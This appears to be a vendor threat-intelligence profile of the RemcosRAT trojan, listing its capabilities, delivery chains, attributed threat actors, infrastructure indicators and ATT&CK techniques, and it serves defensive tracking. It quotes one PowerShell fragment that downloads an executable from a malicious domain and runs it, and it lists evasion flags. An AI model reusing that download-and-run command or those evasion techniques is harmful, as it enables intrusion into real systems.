RemcosRAT
RemcosRAT is a full-featured remote access trojan used across a wide range of criminal and espionage-linked campaigns. The content directly describes capabilities including remote command execution, file management, process control, keylogging, screenshot capture, webcam and microphone surveillance, clipboard monitoring, and theft of data from browsers and applications. Reported configurations include storage of keylogs in logs.dat, screenshot capture at 10-second intervals, audio recording in 5-second clips, and use of registry-based persistence such as HKCU\Software\Remcos or startup keys. Multiple reports describe RemcosRAT being process-hollowed or injected into legitimate Microsoft binaries including Aspnet_compiler.exe and Msbuild.exe, and one campaign used vulnerable drivers for kernel-level privilege escalation before deploying the final payload.
Observed delivery vectors in the content include HTA droppers executed via mshta.exe, obfuscated JavaScript attachments, PowerShell stages, AutoIt scripts, DLL sideloading with signed VMware and Microsoft Edge binaries, LNK-based chains, malicious SVG-linked archives, trojanized VeraCrypt installers, illegal gambling-related tools, and phishing lures themed as purchase inquiries, court summonses, enforcement notices, combat videos, and romance or acquaintance outreach. Public hosting and staging services mentioned in related campaigns include GitHub, Google Drive, OneDrive, Bitbucket, Dropbox, Discord CDN, YDRAY, Paste.ee, archive.org, pastefy.app, and pastes.io.
The malware is associated in the content with numerous threat actors and distribution ecosystems. CERT-UA reported UAC-0184 using RemcosRAT against representatives of Ukraine’s Defense Forces to steal documents and messenger data. UAC-0050 / DaVinci Group has previously used RemcosRAT in attacks targeting Ukraine. Konni-related activity targeting South Korean users and North Korean defectors included RemcosRAT alongside other RATs. Red Akodon used RemcosRAT in phishing campaigns impersonating Colombian judicial and government entities. Acronis TRU’s Shadow Vector campaign in Colombia delivered RemcosRAT via DLL side-loading and vulnerable drivers. Breakglass Intelligence documented RemcosRAT delivered by GoLoader and by the Amadey pay-per-install campaign tagged fbf543. Additional reporting linked RemcosRAT activity to attacks on Russian organizations, attacks targeting Ukraine, and campaigns against South Korean users.
Targeting described in the content spans defense and military personnel in Ukraine, government, healthcare, technology, and manufacturing sectors worldwide, Colombian users and organizations, South Korean users, cryptocurrency users in broader malware ecosystems, and Russian organizations. Infrastructure and indicators explicitly mentioned for RemcosRAT campaigns include the-new-age.co.ua:443, biches-yeah.co.ua:443, 178.33.57.149:443, 178.33.57.159:8899, 88.151.192.14:443, 216.250.249.222 on ports 80 and 443, goodpeopleswhitbrigheartwinthisindustryi.duckdns.org:14646, mutexes Rmc-E3G25N and Rmc-3UG3BG, install name remcos.exe, and license hash 72214B9FB81C38C5D9F33A771B74F635. Related staging infrastructure in one 2026 campaign included 96.44.159.218 and multiple Remcos listeners on 96.44.159.137, 96.44.159.225, 96.44.159.222, 96.44.159.151, 96.44.159.165, and 96.44.159.154, with default Remcos TLS certificates noted. Specific sample references in the content include remcos.exe communicating with the-new-age.co.ua:443 and multiple 2026 samples clustered by shared imphash and configuration artifacts.
Hunt this family in your stack
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Groups observed using it
7 distinct threat actors attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.
“These installers executed AutoIt scripts… that deployed multiple RATs (RemcosRAT, QuasarRAT, and RftRAT)…”
The files distributed were malicious AutoIt scripts and modules that enable remote access and keylogging, as well as various RATs, including LilithRAT and RemcosRAT.
Red Akodon targets users... using remote access trojans (RAT) like RemcosRAT, QasarRat, AsyncRAT, and XWorm.
"...and remote access trojans such as RemcosRAT in attacks targeting Ukraine."
"...to attack Russian organizations... with malware like RemcosRAT and DarkTrack RAT..."
Techniques & procedures
35 distinct techniques documented for this family, organized by ATT&CK tactic.
Resource Development
1 technique
Resource Development
Initial Access
2 techniques
Initial Access
Execution
7 techniques
Execution
Execution Windows Management Instrumentation T1047 Win32_Process.Create() hidden window launch
The PowerShell runs with the standard evasion flags: -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden.
Execution JavaScript T1059.007 WScript execution of obfuscated JS dropper
MITRE ATT&CK Mapping Tactic Technique ID Implementation Execution Command and Scripting: AutoIt T1059.010 AutoIt-compiled loader with WRSJLIM cipher
Persistence
1 technique
Persistence
Privilege Escalation
4 techniques
Privilege Escalation
MITRE ATT&CK Mapping Tactic Technique ID Implementation Defense Evasion Process Injection T1055 VirtualAlloc RWX + DllCallAddress shellcode execution
Defense Evasion Process Hollowing T1055.012 Aspnet_compiler.exe hollowed via NT API
Stealth
8 techniques
Stealth
Defense Evasion Obfuscated Files or Information T1027 Whitespace padding, random case, base64, delimiter-based concatenation
MITRE ATT&CK Mapping Tactic Technique ID Implementation Defense Evasion Masquerading: Invalid Code Signature T1036.001 Stolen/abused code signing certs
MITRE ATT&CK Mapping Tactic Technique ID Implementation Defense Evasion Process Injection T1055 VirtualAlloc RWX + DllCallAddress shellcode execution
Defense Evasion Process Hollowing T1055.012 Aspnet_compiler.exe hollowed via NT API
Defense Evasion Deobfuscate/Decode Files T1140 Base64, UTF-16LE, delimiter stripping
Credential Access
2 techniques
Credential Access
Discovery
1 technique
Discovery
Collection
5 techniques
Collection
Command and Control
8 techniques
Command and Control
Command and Control Application Layer Protocol T1071 TLS-encrypted C2 on port 14646
The RAT -- compiled February 3, 2026 -- phones home to a dedicated C2 at 216.250.249.222 on ports 80 and 443 using Remcos proprietary protocol (not HTTP, not TLS -- raw TCP masquerading on web ports).
Command and Control Web Service T1102 Paste services (pastefy.app, pastes.io) for payload hosting
-uri http://yeah-biches.kyiv.ua/securitycheck.exe -OutFile securitycheck.exe; start securitycheck.exe
Command and Control Dynamic Resolution T1568.002 DuckDNS for C2 domain resolution
IOCs tracked for this family
84 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.
IPs, domains, and DNS infrastructure linked to this family.
File hashes (MD5, SHA-1, SHA-256) from samples and reports.
Other indicator types observed in public reporting.
Recent activity
23 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.
A remote access trojan family included in the classifier’s malware classes.
A remote access trojan mentioned as one of the payloads delivered by PhantomVAI in other campaigns.
A commercial remote access trojan abused in cybercrime campaigns. In this campaign it is delivered through a four-stage chain, process-hollowed into Aspnet_compiler.exe, and used for surveillance and remote control including keylogging, camera access, audio recording, screenshots, file management, command execution, and watchdog behavior.
A remote access trojan observed among the malware families delivered by the same AutoIt crypter operation.
The version that knows your environment.
Match every observed IP, domain, and hash against your live telemetry.
Named campaigns wielding this family, with evidence pinned to each claim.
CVEs this family uses for access and lateral movement.
YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Every documented technique, ranked by evidence weight.
Reddit, Mastodon, and CTI community discussion around this family.